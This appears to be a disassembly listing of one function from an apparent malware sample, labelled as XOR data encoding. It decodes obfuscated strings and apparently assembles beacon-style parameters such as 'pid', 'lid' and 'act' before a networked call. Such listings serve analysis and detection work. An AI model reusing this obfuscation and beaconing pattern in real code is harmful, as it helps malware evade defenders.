Function at 0x409a10
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10c
cmp dword [ecx + 0x20], 0
je 0x409e2a
mov edi, ecx
lea eax, [ecx + 0x10]
push eax
call fcn.00406170
add esp, 4
mov edx, dword [edi + 0x10]
mov eax, dword [edi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 4], eax
movzx eax, byte [edi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + 0x43bb88]
mov byte [esp + 2], al
mov byte [esp + 3], 0
mov dword [esp + 8], edx
lea eax, [edx + 0x400]
push eax
call fcn.00408310
add esp, 4
mov ebp, eax
mov dword [esp + 0x70], 0x7a848b83
mov byte [esp + 0x74], 0x1f
lea eax, [esp + 0x70]
mov ecx, 0xfc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
lea esi, [ecx - 0xa752a00]
or esi, edx
not esi
and edx, ecx
or edx, esi
lea ebx, [edx + 0xe7]
mov esi, 0x18
sub esi, edx
or esi, 1
add esi, edx
or ebx, 1
add ebx, esi
add bl, 0xe8
mov byte [eax], bl
inc eax
dec ecx
cmp ecx, 0xf7
jne 0x409aa0
lea esi, [esp + 0x70]
mov ecx, edi
push 0x44361c
push esi
push ebp
call fcn.00409380
mov dword [esp + 0x70], 0x646970
lea eax, [esp + 2]
mov ecx, edi
push eax
push esi
push ebp
call fcn.00409380
mov eax, dword [0x43d370]
mov dword [esp + 0x70], 0x64696c
mov dword [esp + 0x10], edi
mov ecx, edi
push eax
push esi
mov dword [esp + 0x14], ebp
push ebp
call fcn.00409380
mov dword [esp + 0x70], 0xd3d8d0c7
mov dword [esp + 0x74], 0xc8dfd427
mov dword [esp + 0x78], 0xdad9dccf
mov byte [esp + 0x7c], 0x40
xor eax, eax
nop
nop
nop
movzx ecx, byte [esp + eax + 0x70]
mov edx, eax
and edx, 7
xor edx, 0x76b4a0f7
mov ebx, eax
and ebx, 8
sub ebx, edx
lea edx, [ebx - 0x2f894735]
mov esi, 0x2f894734
sub esi, ebx
or esi, ecx
mov edi, 0x34
sub edi, ebx
mov ebp, edi
and ebp, ecx
xor ebp, esi
and ebp, edx
mov esi, ebp
and esi, 0x59c217fd
mov ebx, ebp
and ebx, 2
or ebp, 2
imul ebp, ebx
xor ebx, 2
imul ebx, esi
add ebp, ebx
mov ebx, ebp
not ebx
and ebx, edx
and ebp, edi
add ebx, ecx
sub ebx, ebp
add bl, 0x60
mov byte [esp + eax + 0x70], bl
inc eax
cmp eax, 0xd
jne 0x409b40
mov dword [esp + 0x16], 0x746361
lea eax, [esp + 0x16]
mov edi, dword [esp + 0x10]
mov ecx, edi
lea ebx, [esp + 0x70]
push ebx
push eax
mov ebp, dword [esp + 0x14]
push ebp
call fcn.00409380
mov dword [esp + 0x70], 0x9fa5a1e1
mov byte [esp + 0x74], 0x3b
mov eax, 0x5cbc05bf
nop
nop
nop
movzx ecx, byte [esp + eax - 0x5cbc054f]
lea edx, [eax - 0x5cbc0580]
or edx, eax
and edx, ecx
mov esi, eax
and esi, ecx
xor ecx, eax
lea ecx, [ecx + esi*2]
add edx, edx
sub ecx, edx
lea edx, [ecx + ecx]
and edx, 0x343fa40e
sub ecx, edx
add ecx, 0x1a1fd207
mov esi, ecx
and esi, edx
xor ecx, edx
lea ecx, [ecx + esi*2]
inc cl
mov byte [esp + eax - 0x5cbc054f], cl
inc eax
cmp eax, 0x5cbc05c4
jne 0x409be0
mov ecx, edi
push dword [esp + 8]
push dword [esp + 8]
push ebx
push ebp
call fcn.00409640
mov dword [esp + 0x16], 0x821e80cc
mov dword [esp + 0x1a], 0x8611841d
mov dword [esp + 0x1e], 0xfa67f822
mov dword [esp + 0x22], 0xfea0fc6f
mov dword [esp + 0x26], 0xf278f04b
mov dword [esp + 0x2a], 0xf650f463
mov dword [esp + 0x2e], 0xea89e8bd
mov dword [esp + 0x32], 0xee78ec76
mov dword [esp + 0x36], 0xe275e073
mov dword [esp + 0x3a], 0xe675e47a
mov dword [esp + 0x3e], 0xda4bd846
mov dword [esp + 0x42], 0xde82dc4f
mov dword [esp + 0x46], 0xd24ed079
mov dword [esp + 0x4a], 0xd648d441
mov dword [esp + 0x4e], 0xca6dc88a
mov dword [esp + 0x52], 0xce59cc6a
mov dword [esp + 0x56], 0xc28ac06e
mov dword [esp + 0x5a], 0xc667c4a3
mov dword [esp + 0x5e], 0x3aac3858
mov dword [esp + 0x62], 0x3e993ca5
mov dword [esp + 0x66], 0x32a3309e
mov dword [esp + 0x6a], 0x367834ba
mov word [esp + 0x6e], 0x2837
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x16]
mov ecx, eax
xor ecx, 0x1ddcd8c8
mov esi, eax
or esi, 0xe2232737
and ecx, esi
add ecx, esi
xor ecx, edx
mov edx, ecx
not edx
or edx, 0x47
add edx, ecx
add edx, edx
xor ecx, 0xb8
sub edx, ecx
add dl, 2
mov byte [esp + eax + 0x16], dl
inc eax
cmp eax, 0x5a
jne 0x409d00
movzx eax, word [esp + 0x16]
test ax, ax
je 0x409d61
lea ebx, [esp + 0x70]
lea ecx, [esp + 0x18]
nop
nop
nop
mov word [ebx], ax
add ebx, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409d50
mov word [ebx], 0
movzx ecx, byte [edi + 0x60]
test cl, cl
je 0x409d91
lea eax, [edi + 0x61]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [ebx], cx
add ebx, 2
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x409d80
mov dword [ebx], 0xa000d
mov word [ebx + 4], 0
mov eax, dword [edi + 0x80]
mov dword [esp + 0x16], 0x56b4548c
mov dword [esp + 0x1a], 0x4ad048c7
mov word [esp + 0x1e], 0x4c4b
mov ecx, 0xb
nop
movzx edx, byte [esp + ecx + 0xb]
mov esi, ecx
and esi, edx
add esi, esi
sub edx, esi
add edx, ecx
add edx, 0x9676e200
mov esi, edx
xor esi, 0x59
and edx, 0x26
add edx, edx
sub edx, esi
inc dl
mov byte [esp + ecx + 0xb], dl
inc ecx
cmp ecx, 0x15
jne 0x409dc0
lea ecx, [esp + 0x70]
push 0x493e0
push eax
push ebp
push 0
push 0
push ecx
lea eax, [esp + 0x2e]
push eax
call fcn.0040c370
add esp, 0x1c
mov ebx, eax
push ebp
call fcn.00408320
add esp, 4
mov eax, dword [edi + 0x80]
add dword [edi + 4], eax
mov dword [edi + 0x80], 0
jmp 0x409e2c
mov bl, 1
mov eax, ebx
add esp, 0x10c
pop esi
pop edi
pop ebx
pop ebp
ret